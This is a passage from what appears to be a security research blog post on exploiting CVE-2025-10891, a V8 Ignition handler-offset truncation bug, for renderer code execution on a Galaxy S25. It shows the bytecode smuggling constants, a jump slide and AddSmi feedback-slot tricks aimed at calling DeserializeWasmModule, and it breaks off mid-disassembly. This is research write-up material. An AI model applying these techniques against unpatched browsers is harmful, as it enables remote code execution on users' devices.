version:",{"type":23,"tag":24,"props":129585,"children":129586},{},[129587],{"type":23,"tag":149,"props":129588,"children":129591},{"alt":129589,"src":129590},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":129593,"children":129594},{},[129595,129597,129603],{"type":28,"value":129596},"Surprisingly, this ",{"type":23,"tag":64,"props":129598,"children":129600},{"className":129599},[],[129601],{"type":28,"value":129602},"13.6.233.10",{"type":28,"value":129604}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":7092,"props":129606,"children":129608},{"id":129607},"choosing-the-bug",[129609],{"type":28,"value":129610},"Choosing the Bug",{"type":23,"tag":24,"props":129612,"children":129613},{},[129614,129616,129622],{"type":28,"value":129615},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":64,"props":129617,"children":129619},{"className":129618},[],[129620],{"type":28,"value":129621},"d8",{"type":28,"value":129623}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":129625,"children":129626},{},[129627,129629,129636],{"type":28,"value":129628},"Another one was ",{"type":23,"tag":190,"props":129630,"children":129633},{"href":129631,"rel":129632},"https://issuetracker.google.com/issues/443875388",[194],[129634],{"type":28,"value":129635},"CVE-2025-10891",{"type":28,"value":129637}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":31,"props":129639,"children":129641},{"id":129640},"ignition-bytecode-introduction",[129642],{"type":28,"value":129643},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":129645,"children":129646},{},[129647,129649,129656],{"type":28,"value":129648},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":190,"props":129650,"children":129653},{"href":129651,"rel":129652},"https://v8.dev/blog/ignition-interpreter",[194],[129654],{"type":28,"value":129655},"Ignition",{"type":28,"value":129657}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":435,"props":129659,"children":129661},{"code":129660,"language":28880,"meta":7,"className":28878,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[129662],{"type":23,"tag":64,"props":129663,"children":129664},{"__ignoreMap":7},[129665,129688,129712,129736],{"type":23,"tag":481,"props":129666,"children":129667},{"class":483,"line":484},[129668,129672,129676,129680,129684],{"type":23,"tag":481,"props":129669,"children":129670},{"style":497},[129671],{"type":28,"value":9274},{"type":23,"tag":481,"props":129673,"children":129674},{"style":508},[129675],{"type":28,"value":87368},{"type":23,"tag":481,"props":129677,"children":129678},{"style":514},[129679],{"type":28,"value":517},{"type":23,"tag":481,"props":129681,"children":129682},{"style":551},[129683],{"type":28,"value":2072},{"type":23,"tag":481,"props":129685,"children":129686},{"style":525},[129687],{"type":28,"value":528},{"type":23,"tag":481,"props":129689,"children":129690},{"class":483,"line":351},[129691,129695,129699,129703,129708],{"type":23,"tag":481,"props":129692,"children":129693},{"style":497},[129694],{"type":28,"value":9274},{"type":23,"tag":481,"props":129696,"children":129697},{"style":508},[129698],{"type":28,"value":88242},{"type":23,"tag":481,"props":129700,"children":129701},{"style":514},[129702],{"type":28,"value":517},{"type":23,"tag":481,"props":129704,"children":129705},{"style":551},[129706],{"type":28,"value":129707}," 0x0fff",{"type":23,"tag":481,"props":129709,"children":129710},{"style":525},[129711],{"type":28,"value":528},{"type":23,"tag":481,"props":129713,"children":129714},{"class":483,"line":531},[129715,129719,129723,129727,129732],{"type":23,"tag":481,"props":129716,"children":129717},{"style":497},[129718],{"type":28,"value":9274},{"type":23,"tag":481,"props":129720,"children":129721},{"style":508},[129722],{"type":28,"value":34963},{"type":23,"tag":481,"props":129724,"children":129725},{"style":514},[129726],{"type":28,"value":517},{"type":23,"tag":481,"props":129728,"children":129729},{"style":551},[129730],{"type":28,"value":129731}," 0x0fffffff",{"type":23,"tag":481,"props":129733,"children":129734},{"style":525},[129735],{"type":28,"value":528},{"type":23,"tag":481,"props":129737,"children":129738},{"class":483,"line":567},[129739,129743,129748,129752,129757],{"type":23,"tag":481,"props":129740,"children":129741},{"style":497},[129742],{"type":28,"value":9274},{"type":23,"tag":481,"props":129744,"children":129745},{"style":508},[129746],{"type":28,"value":129747}," d",{"type":23,"tag":481,"props":129749,"children":129750},{"style":514},[129751],{"type":28,"value":517},{"type":23,"tag":481,"props":129753,"children":129754},{"style":551},[129755],{"type":28,"value":129756}," 0xffffffff",{"type":23,"tag":481,"props":129758,"children":129759},{"style":525},[129760],{"type":28,"value":528},{"type":23,"tag":24,"props":129762,"children":129763},{},[129764],{"type":28,"value":129765},"compiles to",{"type":23,"tag":435,"props":129767,"children":129769},{"code":129768}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[129770],{"type":23,"tag":64,"props":129771,"children":129772},{"__ignoreMap":7},[129773],{"type":28,"value":129768},{"type":23,"tag":24,"props":129775,"children":129776},{},[129777],{"type":28,"value":129778},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":7092,"props":129780,"children":129782},{"id":129781},"cve-2025-10891",[129783],{"type":28,"value":129635},{"type":23,"tag":24,"props":129785,"children":129786},{},[129787,129789,129795,129797,129803],{"type":28,"value":129788},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":64,"props":129790,"children":129792},{"className":129791},[],[129793],{"type":28,"value":129794},"[start, end) => handler",{"type":28,"value":129796}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":64,"props":129798,"children":129800},{"className":129799},[],[129801],{"type":28,"value":129802},"handler",{"type":28,"value":129804}," is jumped to.",{"type":23,"tag":435,"props":129806,"children":129808},{"code":129807,"language":28880,"meta":7,"className":28878,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[129809],{"type":23,"tag":64,"props":129810,"children":129811},{"__ignoreMap":7},[129812,129823,129838,129853,129876],{"type":23,"tag":481,"props":129813,"children":129814},{"class":483,"line":484},[129815,129819],{"type":23,"tag":481,"props":129816,"children":129817},{"style":535},[129818],{"type":28,"value":45856},{"type":23,"tag":481,"props":129820,"children":129821},{"style":525},[129822],{"type":28,"value":809},{"type":23,"tag":481,"props":129824,"children":129825},{"class":483,"line":351},[129826,129830,129834],{"type":23,"tag":481,"props":129827,"children":129828},{"style":535},[129829],{"type":28,"value":32719},{"type":23,"tag":481,"props":129831,"children":129832},{"style":551},[129833],{"type":28,"value":2072},{"type":23,"tag":481,"props":129835,"children":129836},{"style":525},[129837],{"type":28,"value":528},{"type":23,"tag":481,"props":129839,"children":129840},{"class":483,"line":531},[129841,129845,129849],{"type":23,"tag":481,"props":129842,"children":129843},{"style":525},[129844],{"type":28,"value":44398},{"type":23,"tag":481,"props":129846,"children":129847},{"style":535},[129848],{"type":28,"value":45936},{"type":23,"tag":481,"props":129850,"children":129851},{"style":525},[129852],{"type":28,"value":809},{"type":23,"tag":481,"props":129854,"children":129855},{"class":483,"line":567},[129856,129860,129864,129868,129872],{"type":23,"tag":481,"props":129857,"children":129858},{"style":497},[129859],{"type":28,"value":5334},{"type":23,"tag":481,"props":129861,"children":129862},{"style":508},[129863],{"type":28,"value":88242},{"type":23,"tag":481,"props":129865,"children":129866},{"style":514},[129867],{"type":28,"value":517},{"type":23,"tag":481,"props":129869,"children":129870},{"style":551},[129871],{"type":28,"value":5413},{"type":23,"tag":481,"props":129873,"children":129874},{"style":525},[129875],{"type":28,"value":528},{"type":23,"tag":481,"props":129877,"children":129878},{"class":483,"line":678},[129879],{"type":23,"tag":481,"props":129880,"children":129881},{"style":525},[129882],{"type":28,"value":1443},{"type":23,"tag":435,"props":129884,"children":129886},{"code":129885}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[129887],{"type":23,"tag":64,"props":129888,"children":129889},{"__ignoreMap":7},[129890],{"type":28,"value":129885},{"type":23,"tag":24,"props":129892,"children":129893},{},[129894,129896,129901,129903,129908],{"type":28,"value":129895},"However, the ",{"type":23,"tag":64,"props":129897,"children":129899},{"className":129898},[],[129900],{"type":28,"value":129802},{"type":28,"value":129902}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":64,"props":129904,"children":129906},{"className":129905},[],[129907],{"type":28,"value":45936},{"type":28,"value":129909}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":129911,"children":129912},{},[129913,129915,129921],{"type":28,"value":129914},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":64,"props":129916,"children":129918},{"className":129917},[],[129919],{"type":28,"value":129920},"yield*",{"type":28,"value":129922}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":31,"props":129924,"children":129926},{"id":129925},"exploitation",[129927],{"type":28,"value":129928},"Exploitation",{"type":23,"tag":7092,"props":129930,"children":129932},{"id":129931},"constant-smuggling",[129933],{"type":28,"value":129934},"Constant Smuggling",{"type":23,"tag":24,"props":129936,"children":129937},{},[129938,129940,129947],{"type":28,"value":129939},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":190,"props":129941,"children":129944},{"href":129942,"rel":129943},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[194],[129945],{"type":28,"value":129946},"technique",{"type":28,"value":129948}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":435,"props":129950,"children":129952},{"code":129951,"language":28880,"meta":7,"className":28878,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[129953],{"type":23,"tag":64,"props":129954,"children":129955},{"__ignoreMap":7},[129956,129984,130011,130038],{"type":23,"tag":481,"props":129957,"children":129958},{"class":483,"line":484},[129959,129963,129967,129971,129975,129980],{"type":23,"tag":481,"props":129960,"children":129961},{"style":497},[129962],{"type":28,"value":9274},{"type":23,"tag":481,"props":129964,"children":129965},{"style":508},[129966],{"type":28,"value":87368},{"type":23,"tag":481,"props":129968,"children":129969},{"style":514},[129970],{"type":28,"value":517},{"type":23,"tag":481,"props":129972,"children":129973},{"style":514},[129974],{"type":28,"value":48781},{"type":23,"tag":481,"props":129976,"children":129977},{"style":551},[129978],{"type":28,"value":129979},"9.255963134931783e61",{"type":23,"tag":481,"props":129981,"children":129982},{"style":525},[129983],{"type":28,"value":528},{"type":23,"tag":481,"props":129985,"children":129986},{"class":483,"line":351},[129987,129991,129995,129999,130003,130007],{"type":23,"tag":481,"props":129988,"children":129989},{"style":497},[129990],{"type":28,"value":9274},{"type":23,"tag":481,"props":129992,"children":129993},{"style":508},[129994],{"type":28,"value":88242},{"type":23,"tag":481,"props":129996,"children":129997},{"style":514},[129998],{"type":28,"value":517},{"type":23,"tag":481,"props":130000,"children":130001},{"style":514},[130002],{"type":28,"value":48781},{"type":23,"tag":481,"props":130004,"children":130005},{"style":551},[130006],{"type":28,"value":129979},{"type":23,"tag":481,"props":130008,"children":130009},{"style":525},[130010],{"type":28,"value":528},{"type":23,"tag":481,"props":130012,"children":130013},{"class":483,"line":531},[130014,130018,130022,130026,130030,130034],{"type":23,"tag":481,"props":130015,"children":130016},{"style":497},[130017],{"type":28,"value":9274},{"type":23,"tag":481,"props":130019,"children":130020},{"style":508},[130021],{"type":28,"value":34963},{"type":23,"tag":481,"props":130023,"children":130024},{"style":514},[130025],{"type":28,"value":517},{"type":23,"tag":481,"props":130027,"children":130028},{"style":514},[130029],{"type":28,"value":48781},{"type":23,"tag":481,"props":130031,"children":130032},{"style":551},[130033],{"type":28,"value":129979},{"type":23,"tag":481,"props":130035,"children":130036},{"style":525},[130037],{"type":28,"value":528},{"type":23,"tag":481,"props":130039,"children":130040},{"class":483,"line":567},[130041,130045,130049,130053,130057,130061],{"type":23,"tag":481,"props":130042,"children":130043},{"style":497},[130044],{"type":28,"value":9274},{"type":23,"tag":481,"props":130046,"children":130047},{"style":508},[130048],{"type":28,"value":129747},{"type":23,"tag":481,"props":130050,"children":130051},{"style":514},[130052],{"type":28,"value":517},{"type":23,"tag":481,"props":130054,"children":130055},{"style":514},[130056],{"type":28,"value":48781},{"type":23,"tag":481,"props":130058,"children":130059},{"style":551},[130060],{"type":28,"value":129979},{"type":23,"tag":481,"props":130062,"children":130063},{"style":525},[130064],{"type":28,"value":528},{"type":23,"tag":24,"props":130066,"children":130067},{},[130068],{"type":28,"value":130069},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":130071,"children":130072},{},[130073],{"type":28,"value":130074},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":435,"props":130076,"children":130078},{"code":130077},"let a = 0x0693bebe;\n",[130079],{"type":23,"tag":64,"props":130080,"children":130081},{"__ignoreMap":7},[130082],{"type":28,"value":130077},{"type":23,"tag":24,"props":130084,"children":130085},{},[130086],{"type":28,"value":130087},"We will compile the bytecode:",{"type":23,"tag":435,"props":130089,"children":130091},{"code":130090},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[130092],{"type":23,"tag":64,"props":130093,"children":130094},{"__ignoreMap":7},[130095],{"type":28,"value":130090},{"type":23,"tag":24,"props":130097,"children":130098},{},[130099,130101,130107,130109,130115,130116,130122],{"type":28,"value":130100},"We can then jump to the 3rd byte (",{"type":23,"tag":64,"props":130102,"children":130104},{"className":130103},[],[130105],{"type":28,"value":130106},"0xbe",{"type":28,"value":130108},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":64,"props":130110,"children":130112},{"className":130111},[],[130113],{"type":28,"value":130114},"0x93 0x02 - 0xf",{"type":28,"value":578},{"type":23,"tag":64,"props":130117,"children":130119},{"className":130118},[],[130120],{"type":28,"value":130121},"Jump +[2-15]",{"type":28,"value":130123},") to jump into the next constant.",{"type":23,"tag":24,"props":130125,"children":130126},{},[130127,130129,130135,130137,130143,130145,130151],{"type":28,"value":130128},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":64,"props":130130,"children":130132},{"className":130131},[],[130133],{"type":28,"value":130134},"StarX",{"type":28,"value":130136}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":64,"props":130138,"children":130140},{"className":130139},[],[130141],{"type":28,"value":130142},"Star rX",{"type":28,"value":130144}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":64,"props":130146,"children":130148},{"className":130147},[],[130149],{"type":28,"value":130150},"Star.ExtraWide rX",{"type":28,"value":130152}," instructions.",{"type":23,"tag":24,"props":130154,"children":130155},{},[130156,130158,130164],{"type":28,"value":130157},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":64,"props":130159,"children":130161},{"className":130160},[],[130162],{"type":28,"value":130163},"0x8931111",{"type":28,"value":287},{"type":23,"tag":435,"props":130166,"children":130168},{"code":130167,"language":28880,"meta":7,"className":28878,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[130169],{"type":23,"tag":64,"props":130170,"children":130171},{"__ignoreMap":7},[130172,130197,130221,130245,130269,130293,130317],{"type":23,"tag":481,"props":130173,"children":130174},{"class":483,"line":484},[130175,130179,130184,130188,130193],{"type":23,"tag":481,"props":130176,"children":130177},{"style":497},[130178],{"type":28,"value":9274},{"type":23,"tag":481,"props":130180,"children":130181},{"style":508},[130182],{"type":28,"value":130183}," a206",{"type":23,"tag":481,"props":130185,"children":130186},{"style":514},[130187],{"type":28,"value":517},{"type":23,"tag":481,"props":130189,"children":130190},{"style":551},[130191],{"type":28,"value":130192}," 0x8931111",{"type":23,"tag":481,"props":130194,"children":130195},{"style":525},[130196],{"type":28,"value":528},{"type":23,"tag":481,"props":130198,"children":130199},{"class":483,"line":351},[130200,130204,130209,130213,130217],{"type":23,"tag":481,"props":130201,"children":130202},{"style":497},[130203],{"type":28,"value":9274},{"type":23,"tag":481,"props":130205,"children":130206},{"style":508},[130207],{"type":28,"value":130208}," a207",{"type":23,"tag":481,"props":130210,"children":130211},{"style":514},[130212],{"type":28,"value":517},{"type":23,"tag":481,"props":130214,"children":130215},{"style":551},[130216],{"type":28,"value":130192},{"type":23,"tag":481,"props":130218,"children":130219},{"style":525},[130220],{"type":28,"value":528},{"type":23,"tag":481,"props":130222,"children":130223},{"class":483,"line":531},[130224,130228,130233,130237,130241],{"type":23,"tag":481,"props":130225,"children":130226},{"style":497},[130227],{"type":28,"value":9274},{"type":23,"tag":481,"props":130229,"children":130230},{"style":508},[130231],{"type":28,"value":130232}," a208",{"type":23,"tag":481,"props":130234,"children":130235},{"style":514},[130236],{"type":28,"value":517},{"type":23,"tag":481,"props":130238,"children":130239},{"style":551},[130240],{"type":28,"value":130192},{"type":23,"tag":481,"props":130242,"children":130243},{"style":525},[130244],{"type":28,"value":528},{"type":23,"tag":481,"props":130246,"children":130247},{"class":483,"line":567},[130248,130252,130257,130261,130265],{"type":23,"tag":481,"props":130249,"children":130250},{"style":497},[130251],{"type":28,"value":9274},{"type":23,"tag":481,"props":130253,"children":130254},{"style":508},[130255],{"type":28,"value":130256}," a209",{"type":23,"tag":481,"props":130258,"children":130259},{"style":514},[130260],{"type":28,"value":517},{"type":23,"tag":481,"props":130262,"children":130263},{"style":551},[130264],{"type":28,"value":130192},{"type":23,"tag":481,"props":130266,"children":130267},{"style":525},[130268],{"type":28,"value":528},{"type":23,"tag":481,"props":130270,"children":130271},{"class":483,"line":678},[130272,130276,130281,130285,130289],{"type":23,"tag":481,"props":130273,"children":130274},{"style":497},[130275],{"type":28,"value":9274},{"type":23,"tag":481,"props":130277,"children":130278},{"style":508},[130279],{"type":28,"value":130280}," a210",{"type":23,"tag":481,"props":130282,"children":130283},{"style":514},[130284],{"type":28,"value":517},{"type":23,"tag":481,"props":130286,"children":130287},{"style":551},[130288],{"type":28,"value":130192},{"type":23,"tag":481,"props":130290,"children":130291},{"style":525},[130292],{"type":28,"value":528},{"type":23,"tag":481,"props":130294,"children":130295},{"class":483,"line":784},[130296,130300,130305,130309,130313],{"type":23,"tag":481,"props":130297,"children":130298},{"style":497},[130299],{"type":28,"value":9274},{"type":23,"tag":481,"props":130301,"children":130302},{"style":508},[130303],{"type":28,"value":130304}," a211",{"type":23,"tag":481,"props":130306,"children":130307},{"style":514},[130308],{"type":28,"value":517},{"type":23,"tag":481,"props":130310,"children":130311},{"style":551},[130312],{"type":28,"value":130192},{"type":23,"tag":481,"props":130314,"children":130315},{"style":525},[130316],{"type":28,"value":528},{"type":23,"tag":481,"props":130318,"children":130319},{"class":483,"line":812},[130320,130324,130329,130333,130337],{"type":23,"tag":481,"props":130321,"children":130322},{"style":497},[130323],{"type":28,"value":9274},{"type":23,"tag":481,"props":130325,"children":130326},{"style":508},[130327],{"type":28,"value":130328}," a212",{"type":23,"tag":481,"props":130330,"children":130331},{"style":514},[130332],{"type":28,"value":517},{"type":23,"tag":481,"props":130334,"children":130335},{"style":551},[130336],{"type":28,"value":130192},{"type":23,"tag":481,"props":130338,"children":130339},{"style":525},[130340],{"type":28,"value":528},{"type":23,"tag":24,"props":130342,"children":130343},{},[130344],{"type":28,"value":130345},"Those instructions result in:",{"type":23,"tag":435,"props":130347,"children":130349},{"code":130348},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[130350],{"type":23,"tag":64,"props":130351,"children":130352},{"__ignoreMap":7},[130353],{"type":28,"value":130348},{"type":23,"tag":24,"props":130355,"children":130356},{},[130357,130359,130365,130367,130371],{"type":28,"value":130358},"(The offset of ",{"type":23,"tag":64,"props":130360,"children":130362},{"className":130361},[],[130363],{"type":28,"value":130364},"Jump",{"type":28,"value":130366}," instructions is added to the ",{"type":23,"tag":127,"props":130368,"children":130369},{},[130370],{"type":28,"value":68621},{"type":28,"value":130372}," of the instruction.)",{"type":23,"tag":24,"props":130374,"children":130375},{},[130376,130378,130384],{"type":28,"value":130377},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":64,"props":130379,"children":130381},{"className":130380},[],[130382],{"type":28,"value":130383},"LdaSmi.ExtraWide",{"type":28,"value":130385}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":7092,"props":130387,"children":130389},{"id":130388},"exploit-goal",[130390],{"type":28,"value":130391},"Exploit Goal",{"type":23,"tag":24,"props":130393,"children":130394},{},[130395,130397,130403,130404,130410],{"type":28,"value":130396},"Initially we considered using ",{"type":23,"tag":64,"props":130398,"children":130400},{"className":130399},[],[130401],{"type":28,"value":130402},"Star",{"type":28,"value":2130},{"type":23,"tag":64,"props":130405,"children":130407},{"className":130406},[],[130408],{"type":28,"value":130409},"Ldar",{"type":28,"value":130411}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":130413,"children":130414},{},[130415,130417,130424],{"type":28,"value":130416},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":190,"props":130418,"children":130421},{"href":130419,"rel":130420},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[194],[130422],{"type":28,"value":130423},"stack pivot and ROP",{"type":28,"value":130425},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":130427,"children":130428},{},[130429],{"type":28,"value":130430},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":130432,"children":130433},{},[130434],{"type":28,"value":130435},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":130437,"children":130438},{},[130439,130441,130447,130449,130455,130457,130463],{"type":28,"value":130440},"At this point, we identified an interesting opcode: ",{"type":23,"tag":64,"props":130442,"children":130444},{"className":130443},[],[130445],{"type":28,"value":130446},"CallRuntime",{"type":28,"value":130448},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":64,"props":130450,"children":130452},{"className":130451},[],[130453],{"type":28,"value":130454},"--allow-natives-syntax",{"type":28,"value":130456}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":64,"props":130458,"children":130460},{"className":130459},[],[130461],{"type":28,"value":130462},"DeserializeWasmModule",{"type":28,"value":199},{"type":23,"tag":24,"props":130465,"children":130466},{},[130467,130469,130476,130477,130482,130483,130489,130491,130498],{"type":28,"value":130468},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":190,"props":130470,"children":130473},{"href":130471,"rel":130472},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[194],[130474],{"type":28,"value":130475},"JIT-compiled functions",{"type":28,"value":16026},{"type":23,"tag":64,"props":130478,"children":130480},{"className":130479},[],[130481],{"type":28,"value":130462},{"type":28,"value":2130},{"type":23,"tag":64,"props":130484,"children":130486},{"className":130485},[],[130487],{"type":28,"value":130488},"SerializeWasmModule",{"type":28,"value":130490}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":190,"props":130492,"children":130495},{"href":130493,"rel":130494},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[194],[130496],{"type":28,"value":130497},"removed",{"type":28,"value":130499}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":130501,"children":130502},{},[130503,130505,130511,130513,130519,130521,130526,130528,130534,130536,130541,130542,130547,130548,130553,130555,130561,130563,130567],{"type":28,"value":130504},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":64,"props":130506,"children":130508},{"className":130507},[],[130509],{"type":28,"value":130510},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":130512},"\nWhere ",{"type":23,"tag":64,"props":130514,"children":130516},{"className":130515},[],[130517],{"type":28,"value":130518},"func-id",{"type":28,"value":130520}," is a 2-byte function ID, ",{"type":23,"tag":64,"props":130522,"children":130524},{"className":130523},[],[130525],{"type":28,"value":35746},{"type":28,"value":130527}," is the index of the last register passed and ",{"type":23,"tag":64,"props":130529,"children":130531},{"className":130530},[],[130532],{"type":28,"value":130533},"argc",{"type":28,"value":130535}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":64,"props":130537,"children":130539},{"className":130538},[],[130540],{"type":28,"value":41904},{"type":28,"value":588},{"type":23,"tag":64,"props":130543,"children":130545},{"className":130544},[],[130546],{"type":28,"value":42047},{"type":28,"value":8478},{"type":23,"tag":64,"props":130549,"children":130551},{"className":130550},[],[130552],{"type":28,"value":42030},{"type":28,"value":130554}," would be encoded as ",{"type":23,"tag":64,"props":130556,"children":130558},{"className":130557},[],[130559],{"type":28,"value":130560},"\u003Cr2> \u003C3>",{"type":28,"value":130562},").\nThis requires ",{"type":23,"tag":127,"props":130564,"children":130565},{},[130566],{"type":28,"value":15602},{"type":28,"value":130568}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":7092,"props":130570,"children":130572},{"id":130571},"better-bytecode-control",[130573],{"type":28,"value":130574},"Better Bytecode Control",{"type":23,"tag":24,"props":130576,"children":130577},{},[130578,130580,130587,130589,130595],{"type":28,"value":130579},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":190,"props":130581,"children":130584},{"href":130582,"rel":130583},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[194],[130585],{"type":28,"value":130586},"feedback vector slot",{"type":28,"value":130588},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":64,"props":130590,"children":130592},{"className":130591},[],[130593],{"type":28,"value":130594},"AddSmi",{"type":28,"value":130596}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":130598,"children":130599},{},[130600],{"type":28,"value":130601},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":435,"props":130603,"children":130605},{"code":130604},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[130606],{"type":23,"tag":64,"props":130607,"children":130608},{"__ignoreMap":7},[130609],{"type":28,"value":130604},{"type":23,"tag":24,"props":130611,"children":130612},{},[130613,130615,130621],{"type":28,"value":130614},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":64,"props":130616,"children":130618},{"className":130617},[],[130619],{"type":28,"value":130620},"AddSmi.ExtraWide",{"type":28,"value":130622},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":130624,"children":130625},{},[130626],{"type":28,"value":130627},"Eventually, we can reach a stage like this:",{"type":23,"tag":435,"props":130629,"children":130631},{"code":130630},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], 